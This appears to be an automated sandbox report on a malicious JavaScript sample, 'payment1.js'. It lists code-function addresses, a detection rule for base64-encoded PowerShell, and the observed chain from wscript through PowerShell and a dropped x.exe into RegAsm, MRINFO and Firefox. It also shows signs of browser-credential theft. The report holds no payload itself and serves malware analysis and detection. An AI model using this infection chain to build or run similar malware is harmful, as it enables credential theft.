Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEAB40	5_2_02BEAB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B168B8	5_2_02B168B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B5E8F0	5_2_02B5E8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B338E0	5_2_02B338E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B9D800	5_2_02B9D800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B32840	5_2_02B32840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3A840	5_2_02B3A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B329A0	5_2_02B329A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BFA9A6	5_2_02BFA9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B46962	5_2_02B46962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B39950	5_2_02B39950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B950	5_2_02B4B950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B39EB0	5_2_02B39EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B42E90	5_2_02B42E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BECE93	5_2_02BECE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEEEDB	5_2_02BEEEDB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEEE26	5_2_02BEEE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30E59	5_2_02B30E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEFFB1	5_2_02BEFFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B31F92	5_2_02B31F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B22FC8	5_2_02B22FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B50F30	5_2_02B50F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B72F28	5_2_02B72F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEFF09	5_2_02BEFF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA4F40	5_2_02BA4F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0CB5	5_2_02BD0CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B20CF2	5_2_02B20CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEFCF2	5_2_02BEFCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA9C32	5_2_02BA9C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30C00	5_2_02B30C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B48DBF	5_2_02B48DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2ADE0	5_2_02B2ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4FDC0	5_2_02B4FDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3AD00	5_2_02B3AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE7D73	5_2_02BE7D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE1D5A	5_2_02BE1D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B33D40	5_2_02B33D40
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0326EA03	9_2_0326EA03
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0327702E	9_2_0327702E
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03277033	9_2_03277033
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_032708A3	9_2_032708A3
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0326E8B3	9_2_0326E8B3
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_032648DB	9_2_032648DB
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_03270683	9_2_03270683
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Code function: 9_2_0328F4C3	9_2_0328F4C3
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0377D34C	10_2_0377D34C
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_038503E6	10_2_038503E6
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0379E3F0	10_2_0379E3F0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384132D	10_2_0384132D
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384A352	10_2_0384A352
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037D739A	10_2_037D739A
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_038312ED	10_2_038312ED
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037AD2F0	10_2_037AD2F0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037AB2C0	10_2_037AB2C0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037952A0	10_2_037952A0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03830274	10_2_03830274
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0377F172	10_2_0377F172
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C516C	10_2_037C516C
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_038501AA	10_2_038501AA
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_038481CC	10_2_038481CC
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03780100	10_2_03780100
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0382A118	10_2_0382A118
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0379B1B0	10_2_0379B1B0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0385B16B	10_2_0385B16B
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0383F0CC	10_2_0383F0CC
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384F0E0	10_2_0384F0E0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_038470E9	10_2_038470E9
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037970C0	10_2_037970C0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03790770	10_2_03790770
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037B4750	10_2_037B4750
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384F7B0	10_2_0384F7B0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0378C7C0	10_2_0378C7C0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_038416CC	10_2_038416CC
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037AC6E0	10_2_037AC6E0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03850591	10_2_03850591
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0382D5B0	10_2_0382D5B0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03790535	10_2_03790535
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03847571	10_2_03847571
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03781460	10_2_03781460
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0383E4F6	10_2_0383E4F6
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384F43F	10_2_0384F43F
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03842446	10_2_03842446
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03846BD7	10_2_03846BD7
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037CDBF9	10_2_037CDBF9
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384AB40	10_2_0384AB40
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384FB76	10_2_0384FB76
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037AFB80	10_2_037AFB80
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0382DAAC	10_2_0382DAAC
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0383DAC6	10_2_0383DAC6
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03847A46	10_2_03847A46
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384FA49	10_2_0384FA49
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037D5AA0	10_2_037D5AA0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03803A6C	10_2_03803A6C
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0378EA80	10_2_0378EA80
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037A6962	10_2_037A6962
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0385A9A6	10_2_0385A9A6
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03799950	10_2_03799950
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037AB950	10_2_037AB950
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037929A0	10_2_037929A0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03792840	10_2_03792840
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0379A840	10_2_0379A840
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037BE8F0	10_2_037BE8F0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037938E0	10_2_037938E0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037768B8	10_2_037768B8
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384FFB1	10_2_0384FFB1
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037B0F30	10_2_037B0F30
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384FF09	10_2_0384FF09
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03782FC8	10_2_03782FC8
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03804F40	10_2_03804F40
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03791F92	10_2_03791F92
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384CE93	10_2_0384CE93
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03790E59	10_2_03790E59
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384EEDB	10_2_0384EEDB
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384EE26	10_2_0384EE26
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03799EB0	10_2_03799EB0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037A2E90	10_2_037A2E90
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03793D40	10_2_03793D40
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0379AD00	10_2_0379AD00
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0378ADE0	10_2_0378ADE0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037AFDC0	10_2_037AFDC0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037A8DBF	10_2_037A8DBF
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03841D5A	10_2_03841D5A
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03847D73	10_2_03847D73
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03830CB5	10_2_03830CB5
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0384FCF2	10_2_0384FCF2
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03790C00	10_2_03790C00
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03780CF2	10_2_03780CF2
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03809C32	10_2_03809C32
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03062200	10_2_03062200
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03051308	10_2_03051308
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0305D2D0	10_2_0305D2D0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0305B2E0	10_2_0305B2E0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0305D0B0	10_2_0305D0B0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0305B424	10_2_0305B424
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0305B430	10_2_0305B430
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03063A5B	10_2_03063A5B
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03063A60	10_2_03063A60
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03065860	10_2_03065860
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0307BEF0	10_2_0307BEF0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365E3F8	10_2_0365E3F8
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365E514	10_2_0365E514
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365CBC1	10_2_0365CBC1
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365EA41	10_2_0365EA41
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365D978	10_2_0365D978
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365E8BA	10_2_0365E8BA
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365CC08	10_2_0365CC08

Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: String function: 037FEA12 appears 84 times
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: String function: 037C5130 appears 36 times
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: String function: 0380F290 appears 103 times
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: String function: 0377B970 appears 248 times
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: String function: 037D7E54 appears 85 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02BAF290 appears 103 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02B1B970 appears 250 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02B77E54 appears 88 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02B65130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02B9EA12 appears 86 times

Source: payment1.js

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 5352, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: x.exe.1.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RegAsm.exe, 00000005.00000002.2105587672.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: n_ip_tcpBS;.VBpp
Source: RegAsm.exe, 00000005.00000002.2105587672.0000000000FD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BS;.VBp

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winJS@14/8@6/6

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\popo[1].ps1

Source: C:\Users\user\AppData\Local\Temp\x.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3636:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Temp\dddddd.ps1

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: MRINFO.EXE, 0000000A.00000003.2303996787.0000000003364000.00000004.00000020.00020000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2988076296.0000000003364000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: payment1.js

Virustotal: Detection: 16%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\payment1.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Process created: C:\Windows\SysWOW64\MRINFO.EXE "C:\Windows\SysWOW64\MRINFO.EXE"
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Program Files (x86)\OVrzdtpAJkUFNFxlpUNgueJzbCMfzzemcypfNUNWleVznMyEoygbG\sxkv2RIDKUVCF4X010eCnC.exe	Process created: C:\Windows\SysWOW64\MRINFO.EXE "C:\Windows\SysWOW64\MRINFO.EXE"	Jump to behavior
Source: C:\Windows\SysWOW64\MRINFO.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
